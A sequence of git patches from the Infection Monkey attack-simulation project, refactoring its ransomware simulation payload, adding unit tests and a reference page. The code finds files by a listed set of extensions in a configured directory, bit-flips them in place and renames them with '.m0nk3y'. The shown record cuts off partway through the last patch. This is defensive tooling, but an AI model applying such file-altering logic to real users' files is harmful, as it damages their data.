Date: Wed, 23 Jun 2021 08:34:09 -0400 Subject: [PATCH 0888/1360] Agent: Don't run ransomware payload if no directory was specified --- .../infection_monkey/ransomware/ransomware_payload.py | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index ce18476ede6..49478974bab 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -20,10 +20,10 @@ class RansomewarePayload: def __init__(self, config: dict): - LOG.info(f"Windows dir configured for encryption is {config['windows_dir']}") - LOG.info(f"Linux dir configured for encryption is {config['linux_dir']}") + LOG.info(f"Windows dir configured for encryption is \"{config['windows_dir']}\"") + LOG.info(f"Linux dir configured for encryption is \"{config['linux_dir']}\"") - self._target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"]) + self._target_dir = config["windows_dir"] if is_windows_os() else config["linux_dir"] self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() self._valid_file_extensions_for_encryption.discard(EXTENSION) @@ -32,13 +32,16 @@ def run_payload(self): self._encrypt_files(file_list) def _find_files(self): + if not self._target_dir: + return [] + file_filters = [ file_extension_filter(self._valid_file_extensions_for_encryption), is_not_shortcut_filter, is_not_symlink_filter, ] - all_files = get_all_regular_files_in_directory(self._target_dir) + all_files = get_all_regular_files_in_directory(Path(self._target_dir)) return filter_files(all_files, file_filters) def _encrypt_files(self, file_list): From ab40518881f85b5a2f7d0ac3ba8c38300b34cba7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 08:56:12 -0400 Subject: [PATCH 0889/1360] agent: Extract bitflip encryption into its own class --- .../ransomware_bitflip_encryptor.py | 32 +++++++++++++++++++ .../ransomware/ransomware_payload.py | 28 ++-------------- 2 files changed, 35 insertions(+), 25 deletions(-) create mode 100644 monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py diff --git a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py b/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py new file mode 100644 index 00000000000..672633d1d7c --- /dev/null +++ b/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py @@ -0,0 +1,32 @@ +from pathlib import Path +from typing import List + +from infection_monkey.utils import bit_manipulators + + +class RansomwareBitflipEncryptor: + def __init__(self, new_file_extension, chunk_size=64): + self._new_file_extension = new_file_extension + self._chunk_size = chunk_size + + def _add_extension(self, filepath: Path): + new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") + filepath.rename(new_filepath) + + def encrypt_files(self, file_list: List[Path]): + for filepath in file_list: + self._encrypt_single_file_in_place(filepath) + self._add_extension(filepath) + + def _encrypt_single_file_in_place(self, filepath: Path): + with open(filepath, "rb+") as f: + data = f.read(self._chunk_size) + while data: + num_bytes_read = len(data) + + encrypted_data = bit_manipulators.flip_bits(data) + + f.seek(-num_bytes_read, 1) + f.write(encrypted_data) + + data = f.read(self._chunk_size) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 49478974bab..a1c9aceff27 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,8 +1,8 @@ import logging from pathlib import Path +from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION -from infection_monkey.utils import bit_manipulators from infection_monkey.utils.dir_utils import ( file_extension_filter, filter_files, @@ -14,7 +14,6 @@ LOG = logging.getLogger(__name__) -CHUNK_SIZE = 64 EXTENSION = ".m0nk3y" @@ -26,10 +25,11 @@ def __init__(self, config: dict): self._target_dir = config["windows_dir"] if is_windows_os() else config["linux_dir"] self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() self._valid_file_extensions_for_encryption.discard(EXTENSION) + self._encryptor = RansomwareBitflipEncryptor(EXTENSION) def run_payload(self): file_list = self._find_files() - self._encrypt_files(file_list) + self._encryptor.encrypt_files(file_list) def _find_files(self): if not self._target_dir: @@ -43,25 +43,3 @@ def _find_files(self): all_files = get_all_regular_files_in_directory(Path(self._target_dir)) return filter_files(all_files, file_filters) - - def _encrypt_files(self, file_list): - for filepath in file_list: - self._encrypt_file(filepath) - self._add_extension(filepath) - - def _encrypt_file(self, filepath): - with open(filepath, "rb+") as f: - data = f.read(CHUNK_SIZE) - while data: - num_bytes_read = len(data) - - encrypted_data = bit_manipulators.flip_bits(data) - - f.seek(-num_bytes_read, 1) - f.write(encrypted_data) - - data = f.read(CHUNK_SIZE) - - def _add_extension(self, filepath: Path): - new_filepath = filepath.with_suffix(f"{filepath.suffix}{EXTENSION}") - filepath.rename(new_filepath) From 45ba743418740fc177c434569125876ab863ff5f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 09:01:42 -0400 Subject: [PATCH 0890/1360] tests: Move hash_file() into tests/utils.py --- .../ransomware/test_ransomware_payload.py | 12 +----------- monkey/tests/utils.py | 11 +++++++++++ 2 files changed, 12 insertions(+), 11 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 263de0dd354..df62af6ac75 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,10 +1,9 @@ -import hashlib import os import shutil from pathlib import Path import pytest -from tests.utils import is_user_admin +from tests.utils import hash_file, is_user_admin from infection_monkey.ransomware.ransomware_payload import EXTENSION, RansomewarePayload @@ -33,15 +32,6 @@ ) -def hash_file(filepath: Path): - sha256 = hashlib.sha256() - with open(filepath, "rb") as f: - for block in iter(lambda: f.read(65536), b""): - sha256.update(block) - - return sha256.hexdigest() - - def with_extension(filename): return f"{filename}{EXTENSION}" diff --git a/monkey/tests/utils.py b/monkey/tests/utils.py index 1e55e9bc381..2be032aad47 100644 --- a/monkey/tests/utils.py +++ b/monkey/tests/utils.py @@ -1,5 +1,7 @@ import ctypes +import hashlib import os +from pathlib import Path def is_user_admin(): @@ -7,3 +9,12 @@ def is_user_admin(): return os.getuid() == 0 return ctypes.windll.shell32.IsUserAnAdmin() + + +def hash_file(filepath: Path): + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for block in iter(lambda: f.read(65536), b""): + sha256.update(block) + + return sha256.hexdigest() From d99811f83fc1da756e8c21be03625d76a2554f31 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 09:04:24 -0400 Subject: [PATCH 0891/1360] tests: Move ransomware_target() fixture to ransomware/conftest.py --- .../infection_monkey/ransomware/conftest.py | 13 +++++++++++++ .../ransomware/test_ransomware_payload.py | 11 ----------- 2 files changed, 13 insertions(+), 11 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py b/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py new file mode 100644 index 00000000000..60b14a322ab --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py @@ -0,0 +1,13 @@ +import shutil +from pathlib import Path + +import pytest + + +@pytest.fixture +def ransomware_target(tmp_path, data_for_tests_dir): + ransomware_test_data = Path(data_for_tests_dir) / "ransomware_targets" + ransomware_target = tmp_path / "ransomware_target" + shutil.copytree(ransomware_test_data, ransomware_target) + + return ransomware_target diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index df62af6ac75..705b10ed5b5 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,6 +1,4 @@ import os -import shutil -from pathlib import Path import pytest from tests.utils import hash_file, is_user_admin @@ -36,15 +34,6 @@ def with_extension(filename): return f"{filename}{EXTENSION}" -@pytest.fixture -def ransomware_target(tmp_path, data_for_tests_dir): - ransomware_test_data = Path(data_for_tests_dir) / "ransomware_targets" - ransomware_target = tmp_path / "ransomware_target" - shutil.copytree(ransomware_test_data, ransomware_target) - - return ransomware_target - - @pytest.fixture def ransomware_payload_config(ransomware_target): return {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)} From 707b40608ae2af53dfd93d147a81a0e16cd7d9b0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 09:08:36 -0400 Subject: [PATCH 0892/1360] tests: Extract ransomware target files to ransomware_target_files.py --- .../ransomware/ransomware_target_files.py | 23 +++++++++++ .../ransomware/test_ransomware_payload.py | 41 ++++++++----------- 2 files changed, 40 insertions(+), 24 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py b/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py new file mode 100644 index 00000000000..d9940af5c11 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py @@ -0,0 +1,23 @@ +SUBDIR = "subdir" +ALL_ZEROS_PDF = "all_zeros.pdf" +ALREADY_ENCRYPTED_TXT_M0NK3Y = "already_encrypted.txt.m0nk3y" +HELLO_TXT = "hello.txt" +SHORTCUT_LNK = "shortcut.lnk" +TEST_KEYBOARD_TXT = "test_keyboard.txt" +TEST_LIB_DLL = "test_lib.dll" + +ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9" +ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 = ( + "ff5e58498962ab8bd619d3a9cd24b9298e7efc25b4967b1ce3f03b0e6de2aa7a" +) +HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8" +SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9" +TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = ( + "9d1a38784b7eefef6384bfc4b89048017db840adace11504a947016072750b2b" +) +TEST_LIB_DLL_CLEARTEXT_SHA256 = "0922d3132f2378edf313b8c2b6609a2548879911686994ca45fc5c895a7e91b1" + +ALL_ZEROS_PDF_ENCRYPTED_SHA256 = "779c176e820dbdaf643419232cb4d2760360c8633d6fe209cf706707db799b4d" +TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 = ( + "80701f3694abdd25ef3df7166b3fc5189b2afb4df32f7d5adbfed61ad07b9cd5" +) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 705b10ed5b5..5fb4a00d475 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,34 +1,27 @@ import os import pytest +from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( + ALL_ZEROS_PDF, + ALL_ZEROS_PDF_CLEARTEXT_SHA256, + ALL_ZEROS_PDF_ENCRYPTED_SHA256, + ALREADY_ENCRYPTED_TXT_M0NK3Y, + ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256, + HELLO_TXT, + HELLO_TXT_CLEARTEXT_SHA256, + SHORTCUT_LNK, + SHORTCUT_LNK_CLEARTEXT_SHA256, + SUBDIR, + TEST_KEYBOARD_TXT, + TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, + TEST_KEYBOARD_TXT_ENCRYPTED_SHA256, + TEST_LIB_DLL, + TEST_LIB_DLL_CLEARTEXT_SHA256, +) from tests.utils import hash_file, is_user_admin from infection_monkey.ransomware.ransomware_payload import EXTENSION, RansomewarePayload -SUBDIR = "subdir" -ALL_ZEROS_PDF = "all_zeros.pdf" -ALREADY_ENCRYPTED_TXT_M0NK3Y = "already_encrypted.txt.m0nk3y" -HELLO_TXT = "hello.txt" -SHORTCUT_LNK = "shortcut.lnk" -TEST_KEYBOARD_TXT = "test_keyboard.txt" -TEST_LIB_DLL = "test_lib.dll" - -ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9" -ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 = ( - "ff5e58498962ab8bd619d3a9cd24b9298e7efc25b4967b1ce3f03b0e6de2aa7a" -) -HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8" -SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9" -TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = ( - "9d1a38784b7eefef6384bfc4b89048017db840adace11504a947016072750b2b" -) -TEST_LIB_DLL_CLEARTEXT_SHA256 = "0922d3132f2378edf313b8c2b6609a2548879911686994ca45fc5c895a7e91b1" - -ALL_ZEROS_PDF_ENCRYPTED_SHA256 = "779c176e820dbdaf643419232cb4d2760360c8633d6fe209cf706707db799b4d" -TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 = ( - "80701f3694abdd25ef3df7166b3fc5189b2afb4df32f7d5adbfed61ad07b9cd5" -) - def with_extension(filename): return f"{filename}{EXTENSION}" From f1a365def2330c7178493d47383364a900d5af11 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 09:19:46 -0400 Subject: [PATCH 0893/1360] agent: Add unit test for RansomwareBitflipEncryptor --- .../test_ransomware_bitflip_encryptor.py | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py new file mode 100644 index 00000000000..4be4fd1bb04 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py @@ -0,0 +1,30 @@ +from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( + ALL_ZEROS_PDF, + ALL_ZEROS_PDF_CLEARTEXT_SHA256, + ALL_ZEROS_PDF_ENCRYPTED_SHA256, + TEST_KEYBOARD_TXT, + TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, + TEST_KEYBOARD_TXT_ENCRYPTED_SHA256, +) +from tests.utils import hash_file + +from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor + +EXTENSION = ".new" + + +def with_extension(filename): + return f"{filename}{EXTENSION}" + + +def test_listed_files_encrypted(ransomware_target): + file_list = [ransomware_target / ALL_ZEROS_PDF, ransomware_target / TEST_KEYBOARD_TXT] + + assert hash_file(file_list[0]) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 + assert hash_file(file_list[1]) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + + encryptor = RansomwareBitflipEncryptor(".new") + encryptor.encrypt_files(file_list) + + assert hash_file(with_extension(file_list[0])) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 + assert hash_file(with_extension(file_list[1])) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 From ae0dfec3cc1e96582383c95544141871762689f5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 09:37:33 -0400 Subject: [PATCH 0894/1360] agent: Return results from RansomwareBitflipEncryptor.encrypt_files() --- .../ransomware_bitflip_encryptor.py | 15 ++++++-- .../test_ransomware_bitflip_encryptor.py | 37 +++++++++++++++++-- 2 files changed, 44 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py b/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py index 672633d1d7c..e882e27759d 100644 --- a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py +++ b/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py @@ -1,5 +1,5 @@ from pathlib import Path -from typing import List +from typing import List, Optional, Tuple from infection_monkey.utils import bit_manipulators @@ -13,10 +13,17 @@ def _add_extension(self, filepath: Path): new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") filepath.rename(new_filepath) - def encrypt_files(self, file_list: List[Path]): + def encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: + results = [] for filepath in file_list: - self._encrypt_single_file_in_place(filepath) - self._add_extension(filepath) + try: + self._encrypt_single_file_in_place(filepath) + self._add_extension(filepath) + results.append((filepath, None)) + except Exception as ex: + results.append((filepath, ex)) + + return results def _encrypt_single_file_in_place(self, filepath: Path): with open(filepath, "rb+") as f: diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py index 4be4fd1bb04..9656bb671fb 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py @@ -18,13 +18,42 @@ def with_extension(filename): def test_listed_files_encrypted(ransomware_target): - file_list = [ransomware_target / ALL_ZEROS_PDF, ransomware_target / TEST_KEYBOARD_TXT] + orig_all_zeros = ransomware_target / ALL_ZEROS_PDF + orig_test_keyboard = ransomware_target / TEST_KEYBOARD_TXT + file_list = [orig_all_zeros, orig_test_keyboard] assert hash_file(file_list[0]) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 assert hash_file(file_list[1]) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 - encryptor = RansomwareBitflipEncryptor(".new") + encryptor = RansomwareBitflipEncryptor(EXTENSION) encryptor.encrypt_files(file_list) - assert hash_file(with_extension(file_list[0])) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 - assert hash_file(with_extension(file_list[1])) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + assert hash_file(with_extension(orig_all_zeros)) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 + assert hash_file(with_extension(orig_test_keyboard)) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + + +def test_encrypted_files_in_results(ransomware_target): + orig_all_zeros = ransomware_target / ALL_ZEROS_PDF + orig_test_keyboard = ransomware_target / TEST_KEYBOARD_TXT + file_list = [orig_all_zeros, orig_test_keyboard] + + encryptor = RansomwareBitflipEncryptor(EXTENSION) + results = encryptor.encrypt_files(file_list) + + assert len(results) == 2 + assert (orig_all_zeros, None) in results + assert (orig_test_keyboard, None) in results + + +def test_file_not_found(ransomware_target): + all_zeros = ransomware_target / ALL_ZEROS_PDF + file_list = [all_zeros] + + all_zeros.unlink() + + encryptor = RansomwareBitflipEncryptor(EXTENSION) + + results = encryptor.encrypt_files(file_list) + + assert len(results) == 1 + assert "No such file or directory" in str(results[0][1]) From 91657373895a8c778fd417cc5ff2bee591877884 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 09:40:14 -0400 Subject: [PATCH 0895/1360] agent: Use larger chunk size in RansomwarePayload The larger chunk size improves efficiency by reducing the number of reads. --- monkey/infection_monkey/ransomware/ransomware_payload.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index a1c9aceff27..b25297d9c49 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -15,6 +15,7 @@ LOG = logging.getLogger(__name__) EXTENSION = ".m0nk3y" +CHUNK_SIZE = 4096 * 24 class RansomewarePayload: @@ -25,7 +26,7 @@ def __init__(self, config: dict): self._target_dir = config["windows_dir"] if is_windows_os() else config["linux_dir"] self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() self._valid_file_extensions_for_encryption.discard(EXTENSION) - self._encryptor = RansomwareBitflipEncryptor(EXTENSION) + self._encryptor = RansomwareBitflipEncryptor(EXTENSION, chunk_size=CHUNK_SIZE) def run_payload(self): file_list = self._find_files() From 2ea5dc6ac75cc9d34cb06ba93d78361dd9fb5ad5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 09:57:27 -0400 Subject: [PATCH 0896/1360] tests: Add missing test_lib.dll The .gitignore file prevents dlls from being added to git. Since this isn't a real dll, but is only used for testing, we can add it anyway. --- monkey/tests/data_for_tests/ransomware_targets/test_lib.dll | 1 + 1 file changed, 1 insertion(+) create mode 100644 monkey/tests/data_for_tests/ransomware_targets/test_lib.dll diff --git a/monkey/tests/data_for_tests/ransomware_targets/test_lib.dll b/monkey/tests/data_for_tests/ransomware_targets/test_lib.dll new file mode 100644 index 00000000000..a339b33c132 --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/test_lib.dll @@ -0,0 +1 @@ +ýª\t¬•’S—Š¤,sÖ¼ˆ¾W #Aï§ÎÖ‡ç½ài|ƶÆKl;5à?ÝÐß<– ±9XÝûêĆ·â ±"TsïÒÀj-íÛZ”ü ó \ No newline at end of file From da204416e6b2fb7ee7468a242f7d2bc11fb30014 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 23 Jun 2021 19:45:43 +0530 Subject: [PATCH 0897/1360] docs: Add reference page for ransomware --- docs/content/reference/ransomware.md | 116 +++++++++++++++++++++++++++ 1 file changed, 116 insertions(+) create mode 100644 docs/content/reference/ransomware.md diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md new file mode 100644 index 00000000000..ed76edf3466 --- /dev/null +++ b/docs/content/reference/ransomware.md @@ -0,0 +1,116 @@ +--- +title: "Ransomware" +date: 2021-06-23T18:13:59+05:30 +draft: true +pre: ' ' +weight: 10 +--- + +The Infection Monkey has the capability of simulating a ransomware attack on your network. +All actions performed by the encryption routine are safe for production environments. + +To ensure minimum intereference and easy recoverability, the ransomware simulation will only run if +it is configured properly. To do so, you must specify the path to a directory in the configuration. +If no directory is specified, the simulation will not run. + + + +## Which files are encrypted? + +All regular files with [relevant extensions](#relevant-file-extensions-for-encryption) in the +configured directory are attempted to be encrypted during the simulation. + +The simulation is not recursive, i.e. it will not touch any files in sub-directories of the +configured directory — only appropriate files in the top level of the tree. + +Symlinks and shortcuts are ignored. + + +## How are the files encrypted? + +Files are "encrypted" in place with a simple bit flip. Encrypted files are renamed to have +`.m0nk3y` appended to their names. + +To "decrypt" your files, you can simply perform a bit flip on them again. + + +## Relevant file extensions for encryption + +Encryption attempts are only performed on regular files with the following extensions. + +This list is based on the [analysis of the ??? ransomware by ???](). + +- .3ds +- .7z +- .accdb +- .ai +- .asp +- .aspx +- .avhd +- .avi +- .back +- .bak +- .c +- .cfg +- .conf +- .cpp +- .cs +- .ctl +- .dbf +- .disk +- .djvu +- .doc +- .docx +- .dwg +- .eml +- .fdb +- .giff +- .gz +- .h +- .hdd +- .jpg +- .jpeg +- .kdbx +- .mail +- .mdb +- .mpg +- .mpeg +- .msg +- .nrg +- .ora +- .ost +- .ova +- .ovf +- .pdf +- .php +- .pmf +- .png +- .ppt +- .pptx +- .pst +- .pvi +- .py +- .pyc +- .rar +- .rtf +- .sln +- .sql +- .tar +- .tiff +- .txt +- .vbox +- .vbs +- .vcb +- .vdi +- .vfd +- .vmc +- .vmdk +- .vmsd +- .vmx +- .vsdx +- .vsv +- .work +- .xls +- .xlsx +- .xvd +- .zip From 97cf19896509b777213e33555873951657d469d1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 10:50:14 -0400 Subject: [PATCH 0898/1360] agent: Narrow the responsibilities of RansomwareBitflipEncryptor --- .../ransomware_bitflip_encryptor.py | 22 +------- .../ransomware/ransomware_payload.py | 26 ++++++++- .../test_ransomware_bitflip_encryptor.py | 55 +++++-------------- 3 files changed, 40 insertions(+), 63 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py b/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py index e882e27759d..4c297d4cb5f 100644 --- a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py +++ b/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py @@ -1,31 +1,13 @@ from pathlib import Path -from typing import List, Optional, Tuple from infection_monkey.utils import bit_manipulators class RansomwareBitflipEncryptor: - def __init__(self, new_file_extension, chunk_size=64): - self._new_file_extension = new_file_extension + def __init__(self, chunk_size=64): self._chunk_size = chunk_size - def _add_extension(self, filepath: Path): - new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") - filepath.rename(new_filepath) - - def encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: - results = [] - for filepath in file_list: - try: - self._encrypt_single_file_in_place(filepath) - self._add_extension(filepath) - results.append((filepath, None)) - except Exception as ex: - results.append((filepath, ex)) - - return results - - def _encrypt_single_file_in_place(self, filepath: Path): + def encrypt_file_in_place(self, filepath: Path): with open(filepath, "rb+") as f: data = f.read(self._chunk_size) while data: diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index b25297d9c49..5a4c6b412fd 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,5 +1,6 @@ import logging from pathlib import Path +from typing import List, Optional, Tuple from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION @@ -24,13 +25,16 @@ def __init__(self, config: dict): LOG.info(f"Linux dir configured for encryption is \"{config['linux_dir']}\"") self._target_dir = config["windows_dir"] if is_windows_os() else config["linux_dir"] + + self._new_file_extension = EXTENSION self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() - self._valid_file_extensions_for_encryption.discard(EXTENSION) - self._encryptor = RansomwareBitflipEncryptor(EXTENSION, chunk_size=CHUNK_SIZE) + self._valid_file_extensions_for_encryption.discard(self._new_file_extension) + + self._encryptor = RansomwareBitflipEncryptor(chunk_size=CHUNK_SIZE) def run_payload(self): file_list = self._find_files() - self._encryptor.encrypt_files(file_list) + self._encrypt_files(file_list) def _find_files(self): if not self._target_dir: @@ -44,3 +48,19 @@ def _find_files(self): all_files = get_all_regular_files_in_directory(Path(self._target_dir)) return filter_files(all_files, file_filters) + + def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: + results = [] + for filepath in file_list: + try: + self._encryptor.encrypt_file_in_place(filepath) + self._add_extension(filepath) + results.append((filepath, None)) + except Exception as ex: + results.append((filepath, ex)) + + return results + + def _add_extension(self, filepath: Path): + new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") + filepath.rename(new_filepath) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py index 9656bb671fb..5dd5847783b 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py @@ -1,7 +1,6 @@ +import os + from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( - ALL_ZEROS_PDF, - ALL_ZEROS_PDF_CLEARTEXT_SHA256, - ALL_ZEROS_PDF_ENCRYPTED_SHA256, TEST_KEYBOARD_TXT, TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, TEST_KEYBOARD_TXT_ENCRYPTED_SHA256, @@ -10,50 +9,26 @@ from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor -EXTENSION = ".new" - - -def with_extension(filename): - return f"{filename}{EXTENSION}" - - -def test_listed_files_encrypted(ransomware_target): - orig_all_zeros = ransomware_target / ALL_ZEROS_PDF - orig_test_keyboard = ransomware_target / TEST_KEYBOARD_TXT - file_list = [orig_all_zeros, orig_test_keyboard] - - assert hash_file(file_list[0]) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 - assert hash_file(file_list[1]) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 - - encryptor = RansomwareBitflipEncryptor(EXTENSION) - encryptor.encrypt_files(file_list) - - assert hash_file(with_extension(orig_all_zeros)) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 - assert hash_file(with_extension(orig_test_keyboard)) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 +def test_file_encrypted(ransomware_target): + test_keyboard = ransomware_target / TEST_KEYBOARD_TXT -def test_encrypted_files_in_results(ransomware_target): - orig_all_zeros = ransomware_target / ALL_ZEROS_PDF - orig_test_keyboard = 